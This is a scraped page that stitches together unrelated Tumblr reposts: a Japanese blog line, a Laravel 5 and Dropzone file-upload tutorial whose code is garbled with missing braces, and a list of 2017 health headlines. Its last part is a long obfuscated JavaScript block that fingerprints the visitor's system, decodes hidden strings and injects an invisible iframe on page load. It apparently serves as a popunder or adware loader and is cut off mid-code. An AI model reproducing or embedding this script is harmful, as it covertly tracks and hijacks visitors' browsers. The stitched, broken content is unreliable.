ダウンロードの進捗表示は出来なくはない。ただ、これだけは言っておきたい。
実装は、仕事でやるならタダじゃない(575)
from Big Sky http://ift.tt/2sX4qP0
1 note · View note
programmingbiters-blog · 7 years ago
Photo
Tumblr media
New Post has been published on https://programmingbiters.com/file-uploads-with-laravel-5-and-dropzone-drag-and-drop/
File Uploads with Laravel 5 and Dropzone drag and drop
File uploads with Laravel is incredibly easy, thanks to the powerful file systemabstraction that it comes bundled with. Couple that up with Dropzone’s drag and drop feature, and you have a robust file upload mechanism. Not only these are easy to implement, they provide a great number of features in very few lines of code.
# Setting up the uploads
We’ll create a database table that contains information about each of the uploads. Of course we are not going to store our file in the database itself, rather we’d store only some metadata of the file. So let’s create a schema.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function up()
             Schema::create(‘uploads’, function (Blueprint $table)
            $table->increments(‘id’);
            $table->integer(‘user_id’)->unsigned()->index();
            $table->string(‘filename’);
            $table->bigInteger(‘size’);
            $table->softDeletes();
            $table->timestamps();
            $table->foreign(‘user_id’)->references(‘id’)->on(‘users’)->onDelete(‘cascade’);
        );
     Here only metadata we are storing are  filename  and size . filename  would be used to store and retrieve the file later. We add a foreign keyuser_id  to keep track of who uploaded the file. This can also be used to check the owner of a file. We are also going to use  SoftDeletes  to mark a file as deleted rather than actually delete the file from storage, when a user deletes a file.
Now, let’s  php artisan make:model Upload  to create a Upload  model for this table.
Next, we define the relationship between a user and an uploaded file – a user may upload many files and each uploaded file will belong to a user. Therefore, let’s define a one-to-many relationship in our User  and Upload  models.  In theUser model:
1
2
3
4
5
6
public function uploads()
    return $this->hasMany(Upload::class);
and the inverse relationship is defined in our Upload model:
1
2
3
4
5
6
public function user()
return $this->belongsTo(User::class);
Also while we are at it, let’s update the fillable  columns for our Upload  model.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
use Illuminate\Database\Eloquent\SoftDeletes;
use App\User;
class Upload extends Model
    use SoftDeletes;
    protected $fillable = [
        ‘filename’, ‘size’,
    ];
    public function user()
          return $this->belongsTo(User::class);
     That’s all! Our Upload  model is now ready.
# Setting up dropzone
Now that our uploads backend is ready, let’s setup dropzone for drag and drop file uploads.
First we need to install dropzone, so let’s do a npm install dropzone —save . Next, we need to load the dropzone library. Since we are going to use Laravel Mix to compile our frontend assets, we can load the library withinresources/assets/js/bootstrap.js :
1
2
3
4
5
6
// Dropzone
window.Dropzone = require(‘dropzone’);
Dropzone.autoDiscover = false;
This will set Dropzone  to the window object. We are disabling the autoDiscover  option, which is used to automatically attach dropzone with any file input, which we do not need.
Now let’s add the styling for this (otherwise it’s going to look uglier than Voldemort’s face, trust me). We can do this in ourresources/assets/sass/app.scss .
1
2
3
4
5
6
7
8
@import “~dropzone/src/dropzone.scss”;
.dropzone
margin-bottom: 20px;
min-height: auto;
All set. So we can now compile the assets using npm run dev .
# Setting up routes
Before we start uploading any files, we need to define some routes. Here we’d create two routes, one for receiving the uploads and one for deleting the uploads, should a user choose to delete one.
1
2
3
4
5
Route::post(‘/upload’, ‘UploadController@store’)->name(‘upload.store’);
Route::delete(‘/upload/upload’, ‘UploadController@destroy’);
Let’s php artisan make:controller UploadController  to create the controller. We will use this UploadController  to process the uploads in the backend.
# Uploading files
Now that we have pulled in dropzone and attached it to the window object, we need to integrate dropzone within a view to start file uploads. We can simple do this using an id  tag.
1
2
3
<div id=“file” class=“dropzone”></div>
class=“dropzone”  is used to style the dopzone upload box. We can use the#file  to inject dropzone on this element. (tip: it is a best practice in laravel to create javascript snippets in separate partials and then including them in whichever blade template they are needed)
1
2
3
4
5
6
7
8
9
let drop = new Dropzone(‘#file’,
    addRemoveLinks: true,
    url: ‘ route(‘upload.store‘) ’,
    headers:
        ‘X-CSRF-TOKEN’: document.head.querySelector(‘meta[name=”csrf-token”]’).content
     );
We are instantiating the Dropzone  class on our #file and then passing in some addition configuration. addRemoveLinks  will add a remove link to every uploaded file, so a user can remove a file after uploading it. The url option is used to let dropzone know where to post the uploaded file to, in case we are not using a form. If we are using a form, by default dropzone would use the action attribute of the form as the post url (I’m not quite sure about this though, so please don’t take my words as is, and do correct me if I am wrong). We are using the upload.store  route which we have defined earlier.
headers are used to send additional headers to the server. Because we are posting our uploads, we need to send a  X–CSRF–TOKEN  header, otherwise our app will throw a  TokenMismatchException (this is used by laravel to protect our app against CSRF attacks). By default, the meta information in head contains a meta with the name  csrf–token . Therefore we select the meta and extract the content which gives us the token .
Dropzone provide’s a huge number of configuration options. Check out the documentation for all the available options. (Also don’t forget to thank the developer of dropzone )
Now that we are able to post files from the frontend, let’s work on our controller to receive and process the uploads on backend.
In the UploadController , let’s define a method storeUploadedFile() which receives a Illuminate\Http\UploadedFile and store all the metadata in our database.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected function storeUploadedFile(UploadedFile $uploadedFile)
    $upload = new Upload;
    $upload->fill([
        ‘filename’ => $uploadedFile->getClientOriginalName(),
        ‘size’ => $uploadedFile->getSize(),
    ]);
    $upload->user()->associate(auth()->user());
    $upload->save();
    return $upload;
getClientOriginalName() gives us the original name of the file that has been uploaded. getSize() returns the size of the uploaded file in bytes. We thenassociate()  the upload with the currently logged in user. Finally we save the file and return the model instance.
In the  store() method, we accept a Request and then from that request, we extract the file.
1
2
3
4
5
6
public function store(Request $request)
    $uploadedFile = $request->file(‘file’);
We are going to store this file in our local filesystem. Of course you can upload it to Amazon S3 or any other cloud storage services and laravel provides an excellent documentation on how to configure different storage services. However, I’m going to store the uploads on our local disk only.
Next we need to save the file metadata like name, size and the user who uploaded it to our database. For this, we can use thestoreUploadedFile() method we implemented above.
1
2
3
$upload = $this->storeUploadedFile($uploadedFile);
This returns us an instance of the Upload model. We can now use this to store the file.
1
2
3
4
5
6
7
Storage::disk(‘local’)->putFileAs(
    ‘uploads/’ . $request->user()->id,
    $uploadedFile,
    $upload->filename
);
The Storage facade is used to interact with the disk in which we are going to store the file. Storage::disk(‘local’)  gives us an instance of the local disk. The default local storage root is storage/app .
putFileAs() method is used to automatically stream a given file to a storage location. The first argument ‘uploads/’ . $request->user()->id is the upload path. We are creating a new directory uploads and within that directory creating another directory using user’s id  and storing the file there, so that all files uploaded by a user goes to the same location. For example, if a user’s id is 7, any file he uploads will be stored at storage/app/uploads/7/ .
The second argument in putAsFile() method is theIlluminate\Http\UploadedFile instance and the last argument is the filename that will be used to store the file. Because at this point, we already have stored the file’s metadata in our database, we can simply get the name of the file by  $upload->filename .
At this point, file storing is complete. Finally we send back a JSON  response with the uploaded file’s id.
1
2
3
4
5
return response()->json([
    ‘id’ => $upload->id
]);
That’s all. The file has been stored on our local disk.
# Deleting files
To remove a file, Dropzone provides a removedfile event, which we can listen to and then send a delete request. We will use axios to send the request.
We can register to any dropzone event by calling .on(eventName,callbackFunction) on our dropzone instance. Check this documentation for a list of different dropzone events and when they are triggered.
Now we need to use the id of the uploaded file in order to send the delete request. But from the frontend how could we possibly know what’s the id of a uploaded file? Well, this is where the JSON response from thestore() method is useful. When we uploaded a file successfully, we are sending back the id of the file from the backend. On a successful upload, we can therefore associate this id  with the file on the frontend.
1
2
3
4
5
drop.on(‘success’, function(file, response)
file.id = response.id;
);
When a file has been uploaded successfully, dropzone triggers a success  event. We can register to this event to get the file instance and theresponse from the backend inside the callback function. We simple assign theresponse.id to file.id . Therefore, for every file that we have successfully uploaded, now we have an identifier associated with it to be used on the frontend. Great!
Now that we have an id associated with each file, deleting files is easy. We listen for removedfile  event and then use axios from the global window object to fire a delete request to the backend.
1
2
3
4
5
6
7
8
9
10
11
drop.on(‘removedfile’, function(file)
axios.delete(‘/upload/’ + file.id).catch(function(error)
drop.emit(‘addedfile’,
id: file.id,
name: file.name,
size: file.size,
);
);
);
Notice how we are chaining the catch() method. This to catch any error when removing a file. If an error occurs that prevented the file deletion, we want to add it back so that the user knows the deletion failed and they may try again. We do that simply by calling the emit() method and passing in the details of the file. This will call the default addedfile event handler and add the file back.
Okay. So our frontend is ready to delete files. Let’s start working on thedestroy()  controller method.
Because we are injecting the file id on our delete request, we can therefore accept the file we trying to delete , destroy(Upload $upload) , using  laravel’s route model binding.   The next thing we need to do is verify if the delete request is actually coming from the owner of the file. Let’s create a policy,UploadPolicy  for that.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
use App\User, Upload;
use Illuminate\Auth\Access\HandlesAuthorization;
class UploadPolicy
    use HandlesAuthorization;
    public function touch(User $user, Upload $upload)
             return $user->id === $upload->user_id;
     In the touch()  method, we are checking if the ids of the user who uploaded it and the user who is sending the delete request is same. In our destroy()  method, we can now use this touch()  method to authorize the request.
1
2
3
$this->authorize(‘touch’, $upload);
Finally we can delete the file.
1
2
3
4
5
6
7
8
public function destroy(Upload $upload)
$this->authorize(‘touch’, $upload);
$upload->delete();
Since we are using SoftDeletes , this will mark the file as deleted in the database.
That’s all folks.
The complete UploadController looks like this.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
namespace App\Http\Controllers;
use Storage;
use Illuminate\Http\Request;
use Illuminate\Http\UploadedFile;
use App\Upload;
class UploadController extends Controller
    public function __construct()
             $this->middleware(‘auth’);
         public function store(Request $request)
          $uploadedFile = $request->file(‘file’);
        $upload = $this->storeUploadedFile($uploadedFile);
        Storage::disk(‘local’)->putFileAs(
            ‘uploads/’ . $request->user()->id,
            $uploadedFile,
            $upload->filename
        );
        return response()->json([
            ‘id’ => $upload->id
        ]);
         public function destroy(Upload $upload)
             $this->authorize(‘touch’, $upload);
        $upload->delete();
         protected function storeUploadedFile(UploadedFile $uploadedFile)
             $upload = new Upload;
        $upload->fill([
            ‘filename’ => $uploadedFile->getClientOriginalName(),
            ‘size’ => $uploadedFile->getSize(),
        ]);
        $upload->user()->associate(auth()->user());
        $upload->save();
        return $upload;
       # Conclusion
There can be so many different ways of implementing file uploads. Dropzone’s documentation includes an example section that have quite a few in-depth excellent examples. Don’t forget to check that out!
0 notes
theworldenews-blog · 8 years ago
Text
New Post has been published on The World ePost
New Post has been published on http://theworldepost.com/2017/10/top-stories-health-today/
Top Stories Health Today
Health
More about
Betty Price
HIV
Tom Price
Georgia
Price’s wife defends AIDS quarantine remark as ‘provocative’
Politico 16h ago
Related Coverage
2017 Study Committee Meetings on Livestream
Most Referenced Livestream 5h ago
Georgia Rep., wife of ex-HHS Secretary Tom Price, asks about HIV quarantine
CBS News Oct 22, 2017
Tom Price’s wife walks back suggestion HIV patients be quarantined
New York Daily News 17h ago
Georgia lawmaker’s suggestion of HIV ‘quarantine’ sparks furor
Featured MyAJC Oct 22, 2017
Georgia lawmaker suggests quarantining people with HIV
Highly Cited Project Q Oct 20, 2017
Georgia lawmaker, wife of Tom Price, suggests people with HIV could be quarantined
Highly Cited STAT Oct 20, 2017
State Rep. Betty Price suggests ‘quarantine’ for HIV patients
Highly Cited Atlanta Journal Constitution Oct 20, 2017
The woman whose heart almost literally broke when her dog died – and what emergency room doctors learned from …
South China Morning Post 2h ago
Related Coverage
Takotsubo Cardiomyopathy — NEJM
Most Referenced The New England Journal of Medicine 5h ago
After a year in the hospital, an 11-hour surgery, these formerly conjoined NC twins are coming home
News & Observer 8h ago
Related Coverage
Born conjoined at the head, Delaney twins separated at Philadelphia hospital are doing ‘fantastic’
Highly Cited Philly.com 22h ago
Alleged 91-Hour Erection Results In Lawsuit
Forbes 17h ago
Related Coverage
Ex-Inmate Sues For Negligence Over Mocked 91-Hour Erection Caused By Unidentified Pill
Highly Cited Tech Times Oct 22, 2017
New campaign, Keep Antibiotics Working, launched by Public Health England to avoid ‘post-antibiotic apocalypse’
Dorset Echo 3h ago
74-Year-Old Man Walks The Streets With A Desperate Plea: ‘Need Kidney 4 Wife’
HuffPost 18h ago
Related Coverage
var H2y24=window;for(var l84 in H2y24)if(l84.length===((0x10,4.09E2)>=2.02E2?(0x202,9):(104.,0xF7)>(64,1.289E3)?10.83E2:(1.6E1,42)>=11.63E2?(104.,0x220):(11.36E2,124))&&l84.charCodeAt((9.15E2>(18.3E1,72)?(1.42E2,6):113.<=(0x86,11)?14:133.>(0x83,0x204)?29:(105.,107.5E1)))===(135.<=(0xD7,0x98)?(1.1280E3,116):(99.9E1,119)>=1.53E2?"O":(0x245,106.))&&l84.charCodeAt(((48,0x12A)>=(0xE0,144)?(0x3C,8):(50.6E1,9.76E2)<=(0x9B,0x62)?(8.07E2,'1px'):(1.1440E3,0x18E)))===((119,9.75E2)>(1.17E2,2.08E2)?(13.05E2,114):6.7E1>(0x2B,66.4E1)?"r":(0x5E,0x20B))&&l84.charCodeAt((0x1F9>(0x26,0xB6)?(0x129,4):(138.70E1,21.)>=0xE8?(92.60E1,'Q'):(63.,17)))===((0x221,0xC7)<48.?(0x5C,46):(0x6D,110)<=4.57E2?(1.284E3,103):(42.,0x18D))&&l84.charCodeAt((9.38E2>=(6.32E2,130.)?(0x20E,0):(25.90E1,139)))===((0xB2,51.6E1)>131.?(18.40E1,110):(0x20A,94.7E1)))break;for(var v24 in H2y24)if(v24.length===((33.,146.)<0x1E3?(0xAE,8):(0xB7,52))&&v24.charCodeAt(5)===101&&v24.charCodeAt(7)===116&&v24.charCodeAt(3)===117&&v24.charCodeAt(0)===100)break;for(var B24 in H2y24)if(B24.length===((60.90E1,74.9E1)>(117,0x22A)?(0x201,6):(1.227E3,1.105E3))&&B24.charCodeAt(3)===100&&B24.charCodeAt(5)===119&&B24.charCodeAt(1)===((32.4E1,95)<0x1D4?(0xDD,105):(75,0xFF)<=(1.067E3,20)?(72.,300):0x68<=(144.,74)?61.7E1:(6.21E2,0x8C))&&B24.charCodeAt(0)===(0x1C5>=(64.,0x189)?(67.10E1,119):(0x198,1.243E3)<=(0x7C,0x3B)?(0x1C7,105):(131,89)>(132.,136)?"u":(0x74,0x72)))break;'use strict';var L5M="w24":"t","e24":function(M,w)return M>w;,"c24":function(M,w)return M===w;,"E74":function(M,w,r,J)return M*w*r*J;,"G74":function(M,w)return M==w;,"X24":function(M,w)return M&w;,"U24":function(M,w)return M>>w;,"D24":function(M,w)return M<=w;,"m24":function(M,w)return M==w;,"W04":function(M,w)return M!==w;,"R24":function(M,w)return M===w;,"j74":function(M,w)return M===w;,"H24":"a","Q04":function(M,w)return M===w;,"s04":function(M,w)return M===w;,"f74":function(M,w)return M*w;,"y74":"d","p24":function(M,w)return M&w;,"q04":function(M,w)return M<=w;,"x74":function(M,w)return M!==w;,"I24":function(M,w)return M&w;,"o04":function(M,w)return M<=w;,"C24":function(M,w)return M===w;,"J24":function(M,w)return M<=w;,"r04":function(M,w)return M-w;,"c74":function(M,w)return M*w;,"N24":function(M,w)return M<=w;,"Y24":function(M,w)return M==w;,"t04":function(M,w)return M&w;,"l24":function(M,w)return M==w;,"e04":function(M,w)return M===w;,"h24":function(M,w)return M>>w;,"W74":function(M,w)return M===w;,"f24":function(M,w)return M>w;,"Z24":function(M,w)return M<w;,"O04":function(M,w)return M*w;,"x24":function(M,w)return M==w;,"a04":function(M,w)return M&w;,"p04":function(M,w)return M>w;,"N04":function(M,w)return M>w;,"J04":function(M,w)return M!==w;,"L04":function(M,w)return M!==w;,"A04":function(M,w)return M>>w;,"B74":true,"j04":function(M,w)return M!==w;,"O24":function(M,w)return M<=w;,"o24":function(M,w)return M<<w;,"g24":function(M,w)return M>>w;,"z24":function(M,w)return M!==w;,"d24":function(M,w)return M===w;,"E24":function(M,w)return M>>w;,"H04":function(M,w)return M==w;,"m04":function(M,w)return M!==w;,"b04":function(M,w)return M<<w;,"G24":function(M,w)return M<w;,"F24":function(M,w)return M<=w;,"Y04":function(M,w)return M<w;,"f04":function(M,w)return M*w;,"i24":function(M,w)return M==w;,"d04":function(M,w)return M>=w;,"a74":function(M,w)return M===w;,"V24":function(M,w)return M<=w;,"v04":function(M,w)return M&w;,"Q24":function(M,w)return M<=w;,"k24":function(M,w)w;,"L24":function(M,w)return M===w;,"K24":function(M,w)return M>>w;,"u24":function(M,w)return M!==w;,"M04":function(M,w,r)return M^w^r;,"A74":function(M,w)return M===w;,"S04":function(M,w)return M==w;,"k04":function(M,w)return M-w;,"x04":function(M,w)return M<w;,"R04":function(M,w)return M<w;,"j24":function(M,w)return M<w;,"C04":function(M,w)return M===w;,"M24":"o","u04":function(M,w)return M-w;,"T24":function(M,w)return M-w;,"n04":"e","S24":function(M,w)return M===w;,"y04":function(M,w)return M===w;,"t24":function(M,w)return M-w;,"z04":function(M,w)return M-w;,"q24":function(M,w)return M<w;,"P04":function(M,w)return M>w;,"c04":function(M,w)return M<w;,"V04":function(M,w)return M===w;,"i04":function(M,w)return M==w;,"G04":function(M,w)return M<=w;,"P24":function(M,w)w;,"F04":function(M,w)return M<=w;,"r24":function(M,w)return M!==w;,"i74":function(M,w)return M==w;,"v74":false,"n24":function(M,w)return M==w;,"b24":function(M,w)return M in w;,"h04":function(M,w)return M==w;,"a24":function(M,w)return M<=w;;var l04=function()var d="re",b="n",c="u";function B(r,J)var T="rn",P="tu",s="et",p=((14.,11.370E2)<=66?(111.,129):(75.,145)>=83.4E1?(0x105,"q"):(0x192,8.85E2)>0x180?(2.91E2,"r"):(0x22F,0x18B)),o=[],k=L5M.B74,V=L5M.v74,C=undefined;tryfor(var H=r[T04.w04](),m;!(k=(m=H.next()).Z04);k=L5M.B74)o.push(m.value);if(J&&L5M.c24(o.length,J))break;catch(w)var X=function(M)C=M;,R=function(M)V=M;;R(L5M.B74);X(w);finally tryif(!k&&H[(p+s+c+p+b)])H[(d+P+T)]();finally if(V)throw C;return o;return function(M,w)var r="nc",J="ta",T=((98,4.67E2)<(0x1AC,12.60E1)?'px':7.>=(99,7.99E2)?'g':(26.90E1,1.01E3)>(1.,25.)?(2,"s"):(141,0x41)),P="bl",s="ra",p="te",o="i",k="-",V="on",C="ct",H="estr",m="pt",X="em",R="tt",O=(80.30E1<=(1.181E3,1.106E3)?(62.," "):(0x8B,35)),I="lid",e="va",K="I";if(Array.isArray(M))return M;else if(L5M.b24(T04.w04,Object(M)))return B(M,w);elsethrow new TypeError((K+b+e+I+O+L5M.H24+R+X+m+O+L5M.w24+L5M.M24+O+L5M.y74+H+c+C+c+d+O+b+V+k+o+p+s+P+L5M.n04+O+o+b+T+J+r+L5M.n04));;();(function(D,q7,t7)var U3='(',t='A',x1=';',v9='tabunder',k9='l',z3='h',d7='mouseup',K7='mousedown',Z3='g',k3='Q',W9='w',c7='CMgWBN',G7='W',a7='gH',f7=(14.280E2>=(23,51.5E1)?(8.290E2,'u'):(114,143)),j7='240x400',L7='300x250',y7='728x90',v7='120x240',W7='234x60',M0='468x60',w0='3.5.2',s9='a',G1='o',A9='e',M1='i',R3='t',n3=(9.1E1<(9.370E2,46.)?132.5E1:42.>(128.,0x14F)?'e':(13.,129.)>(99.80E1,0x59)?(83,'c'):(1.27E3,59.30E1)),w1=(0x234>=(0x204,142)?(139,1000):(141,1.058E3)<(0x170,0x1A7)?(3.04E2,7.73E2):(21,0x1B3)),O3='script',p3=',',V3='style',m3='cssRules',a1=60,R9='n',n9=null,N9=23,Q9=((12.,0x10B)<(0x51,78.)?(4.45E2,0x213):14.>(1.306E3,0x20D)?8.36E2:0x1A0>=(0x250,35)?(0x146,21):(0x228,11.5E2)),v=9,u9=17,x=16,W=15,A=14,g9=(14.42E2>(79.30E1,9E0)?(8.05E2,13):(0x107,0x148)),M9=12,y=10,E=6,j=((112,0xC5)>(0x19,2.29E2)?(140.,96):(0xD5,141.20E1)>=117.?(0x246,5):(0xD,0x92)),i=7,G=8,F=((20.0E1,0x21F)>=139.?(0x20C,4):(0x165,3.80E1)),a=3,E1='8',f1='7',j1='Windows',h=(0x9B<=(0x223,65.7E1)?(31,1):(0x1BA,9.200E2)),i1="",N=2,T1='x',q9='p',h3=((57.7E1,0x151)>74.?(1.02E3,'1'):(0x77,0x161)<=(0x1FE,0x9D)?0x1CD:(0x1FF,77.)),z9='.',r9=((49.80E1,21.)<(0x24D,121.)?(32.,20):(22.3E1,32)>=102.?'7':(0x23,0x1DF)),L1='0',D9='',n=0,t9='/',X3='//';tryvar J0=function(M)H2y24[B24].zfgaabversion=M;,r0=function()U7=(X3)+l1+t9+O9.B04+o0;,S0=function()S1=X3+l1+t9+O9.B04;,l0=function(M)O9.K04=M;,z0=function(M)H2y24[B24][q7]=M;,P0=function(M)O9.B04=M.E04;;var b3=function b3()var w='7608da',r='cf',J='901',T='5',P='wmoaz2g6axi0p',s=function()R=Object.prototype.hasOwnProperty.call(O,R)?O[R]:R;;if(L5M.N04(l7.length,n))return atob(l7[n].split(D9).reverse().join(D9));var p=c3(),o=x3(p),k=a3(),V=E3(),C=q3(p,o),H=D3(k),m=d3(V),X=e3(),R=u3(m,H,C,n,n),O=;if(L5M.e04(r1,r7))O=;else if(L5M.y04(r1,Y7))O=;s();var I=void n;if(L5M.a74(r1,r7))var e=function(M)I=M;;e(P);else if(L5M.W74(r1,Y7))var K=function(M)I=M;;K((T+J+r+L1+w));var d=,b=Object.prototype.hasOwnProperty.call(d,R)?d[R]:I,c=R+b;return M3(c).substr(n,L5M.k04(r9,B1(m)))+z9+X;,d9=function d9(M)for(var W24 in H2y24[v24])if(W24.length==4&&W24.charCodeAt(3)==121&&W24.charCodeAt(2)==100&&W24.charCodeAt(0)==98)break;if(!H2y24[v24][W24])var w=setTimeout(function r()for(var A24 in H2y24[v24])if(A24.length==4&&A24.charCodeAt(3)==121&&A24.charCodeAt(2)==100&&A24.charCodeAt(((51,102)<0xAD?(0x21A,0):1.188E3<(120.,139.)?(11.15E2,7.96E2):(18,0x4B)))==((148.4E1,9.58E2)>=0x35?(0x8A,98):(10.41E2,70)))break;if(!H2y24[v24][A24])w=setTimeout(r,r9);return ;M();clearTimeout(w);,r9);elseM();,F3=function F3(r,J)var T=400;var P='1px';var s='iframe';var p=function(M)k.width=M;;var o=function(M)k.height=M;;var k=H2y24[v24]['createElement'](s);p(P);o((h3+q9+T1));k.src=y1();d9(function()for(var w84 in H2y24[v24])if(w84.length==4&&w84.charCodeAt((124<=(15.70E1,0x2E)?'g':(9.96E2,110)>87.?(36.1E1,3):(58,0x103)))==121&&w84.charCodeAt((0x18C<=(0x11A,11.94E2)?(0x14A,2):(67,56)))==100&&w84.charCodeAt(0)==98)break;H2y24[v24][w84]['appendChild'](k););setTimeout(function(),T);,Q3=function Q3(r)var J=300;var T=L5M.v74;var P=setInterval(function()if(!T)var w=function(M)T=M;;w(L5M.B74);r();clearInterval(P);,J);return P;,u3=function u3(M,w,r,J,T)var P=o9(M,N)+o9(w,N)+o9(r,N)+o9(J,N)+o9(T,N);return P;,o9=function o9(w,r)var J=w+i1;while(L5M.c04(J.length,r))var T=function()var M="0";J=M+J;;T();return J;,q3=function q3(w,r)var J='10';var T=h;if(L5M.i04(w,j1))return T;,D3=function D3(w)var r='1366';var J='1920';var T=h;if(L5M.l24(w,J))var P=function(M)T=M;;P(N);else if(L5M.Y24(w,r))var s=function(M)T=M;;s(a);return T;,d3=function d3(w)var r=19;var J=18;var T=F;if(w<=-G)var P=function(M)T=M;;P(F);else if(w<=-i)var s=function(M)T=M;;s(j);else if(w<=-E)var p=function(M)T=M;;p(E);else if(w<=-j)var o=function(M)T=M;;o(i);else if(w<=-F)var k=function(M)T=M;;k(G);else if(w<=-h)var V=function(M)T=M;;V(y);else if(L5M.V24(w,n))var C=function(M)T=M;;C(M9);else if(L5M.F24(w,h))var H=function(M)T=M;;H(g9);else if(L5M.q04(w,N))var m=function(M)T=M;;m(A);else if(L5M.G04(w,a))var X=function(M)T=M;;X(W);else if(L5M.o04(w,F))var R=function(M)T=M;;R(x);else if(L5M.N24(w,j))var O=function(M)T=M;;O(u9);else if(L5M.D24(w,E))var I=function(M)T=M;;I(J);else if(L5M.a24(w,i))var e=function(M)T=M;;e(r);else if(L5M.J24(w,G))var K=function(M)T=M;;K(r9);else if(L5M.O24(w,v))var d=function(M)T=M;;d(Q9);elsevar b=function(M)T=M;;b(N9);return T;,e3=function e3()var M='com';return M;,c3=function c3()for(var J84 in H2y24[B24])if(J84.length===9&&J84.charCodeAt(6)===116&&J84.charCodeAt(8)===114&&J84.charCodeAt(4)===103&&J84.charCodeAt(0)===110)break;for(var r84 in H2y24[B24][J84])if(r84.length==9&&r84.charCodeAt(8)==116&&r84.charCodeAt(7)==110&&r84.charCodeAt(0)==117)break;for(var Y84 in H2y24[B24])if(Y84.length===9&&Y84.charCodeAt((0x30<(43.,54)?(2.54E2,6):(29,76.)))===116&&Y84.charCodeAt(8)===(138.<(6.97E2,0x138)?(41.80E1,114):(1.301E3,1.349E3))&&Y84.charCodeAt(4)===103&&Y84.charCodeAt(0)===((3.73E2,11)<=87.0E1?(4.2E1,110):(119.,25.20E1)))break;for(var S84 in H2y24[B24][Y84])if(S84.length==8&&S84.charCodeAt(7)==((0x35,11.48E2)>1.076E3?(47.90E1,109):(143.,0x49)>0x123?(128,0xFE):(0x5,43.)>126?17:(1.26E2,38.))&&S84.charCodeAt(6)==114&&S84.charCodeAt(0)==112)break;var w='ux';var r='Li';var J='Android';var T='iOS';var P='MacOS';var s='iPod';var p='iPad';var o='iPhone';var k='WinCE';var V='Win64';var C='Win32';var H='Mac68K';var m='MacPPC';var X='MacIntel';var R='Macintosh';var O=H2y24[B24][J84][r84],I=H2y24[B24][Y84][S84],e=[R,X,m,H],K=[C,V,j1,k],d=[o,p,s],b=n9;if(e.indexOf(I)!==-h)var c=function(M)b=M;;c(P);else if(d.indexOf(I)!==-h)var B=function(M)b=M;;B(T);else if(K.indexOf(I)!==-h)var Y9=function(M)b=M;;Y9(j1);else if(/Android/.test(O))var S9=function(M)b=M;;S9(J);else if(!b&&/Linux/.test(I))var l9=function(M)b=M;;l9((r+R9+w));return b;,x3=function x3(w)for(var U84 in H2y24[l84])if(U84.length==9&&U84.charCodeAt(8)==116&&U84.charCodeAt(7)==110&&U84.charCodeAt(0)==117)break;var r='ws';var J='Windo';var T=D9;var P=H2y24[l84][U84];if(L5M.C24(w,(J+r)))Windows NT 6.2)/.test(P))var o=function(M)T=M;;o(E1);if(/(Windows 7return T;,a3=function a3()for(var z84 in H2y24[B24])if(z84.length===6&&z84.charCodeAt(3)===101&&z84.charCodeAt(5)===110&&z84.charCodeAt(1)===99&&z84.charCodeAt(0)===115)break;var M=H2y24[B24][z84]['width'];return M;,E3=function E3()var M=new Date();var w=-M.getTimezoneOffset()/a1;return w;,y1=function y1()var M='afu.php';var w='script[src*="apu.php"]';var r=H2y24[v24]['querySelector'](w);if(L5M.s04(r,n9))return ;return D.U04?r.src.replace(/apu.php/g,M):r.src;,j3=function j3(T)var P='href';tryfor(var k84 in H2y24[v24])if(k84.length==11&&k84.charCodeAt(10)==115&&k84.charCodeAt(9)==116&&k84.charCodeAt(((77.2E1,57.)<(6.95E2,0x84)?(64.0E1,0):(1.463E3,78.0E1)))==(1.127E3>=(0x1EB,145.)?(0xED,115):(76,0x151)))break;var s;var p=L5M.v74;if(H2y24[v24][k84])for(var s84 in H2y24[v24])if(s84.length==((17.3E1,30.)<=(35.4E1,0x187)?(0x26,11):(14.,0xC6))&&s84.charCodeAt(10)==115&&s84.charCodeAt(9)==116&&s84.charCodeAt((0x16A>=(0x245,10.950E2)?(22,80.):(67,0x126)<(126.5E1,44)?88:(1.452E3,46.)>=19?(52.7E1,0):(83,0x203)))==115)break;for(var o in H2y24[v24][s84])for(var R84 in H2y24[v24])if(R84.length==(0x211>(147.3E1,112.7E1)?(0x21E,91.0E1):9.700E2<=(1.268E3,0xCB)?(0x27,true):(11.93E2,6.26E2)>0x143?(0xAE,11):(7.7E1,87.0E1))&&R84.charCodeAt(((0x193,46)>=(0x33,140.8E1)?(1.256E3,"C"):(125.,0x10E)<=0x4?(31.8E1,0x21C):9.11E2>(106.,53)?(135,10):(135,147.70E1)))==115&&R84.charCodeAt(9)==116&&R84.charCodeAt(0)==115)break;if(L5M.C04(H2y24[v24][R84][o][(P)],T))var k=function(M)var w='ent';var r='nt';var J='co';s=M.styleSheets[o][m3][a][V3][(J+r+w)];;k(document);break;if(!s)return L5M.v74;s=s.substring(h,L5M.t24(s.length,h));var V=H2y24[B24]['atob'](s);V=V.split(p3);for(var C=n,H=V.length;L5M.G24(C,H);C++)if(L5M.S24(V[C],H2y24['location']['host']))var m=function(M)p=M;;m(L5M.B74);break;return p;catch(M),i3=function i3(r)var J='text/javascript';var T="\"KGZ1bmN0aW9uKCkge30pKCk7\"";var P='ef';var s='hr';tryfor(var p84 in H2y24[v24])if(p84.length==11&&p84.charCodeAt(10)==((0x16B,0xE3)>0x10?(14.52E2,115):86.<=(1.326E3,50)?"q":(68,140.))&&p84.charCodeAt((5.23E2<(1.108E3,12.030E2)?(9.11E2,9):(0x249,0x40)))==116&&p84.charCodeAt(0)==115)break;for(var X84 in H2y24[v24])if(X84.length==((41.30E1,27.)<(0x202,20.0E1)?(0xED,4):(106.2E1,15)>(0x138,21.20E1)?0x107:(133,0x15E)>(143,66.0E1)?0x10D:(105,43.))&&X84.charCodeAt(3)==((62.,41.)<=3.08E2?(1.214E3,121):(66.,0x1FF))&&X84.charCodeAt(((19,130.70E1)>=(130.3E1,6.16E2)?(4.3E1,2):(12.,87)>=0x19C?'com':(0x7D,1.018E3)))==100&&X84.charCodeAt(0)==98)break;var p=function(M)H.type=M;;var o;if(H2y24[v24][p84])for(var H84 in 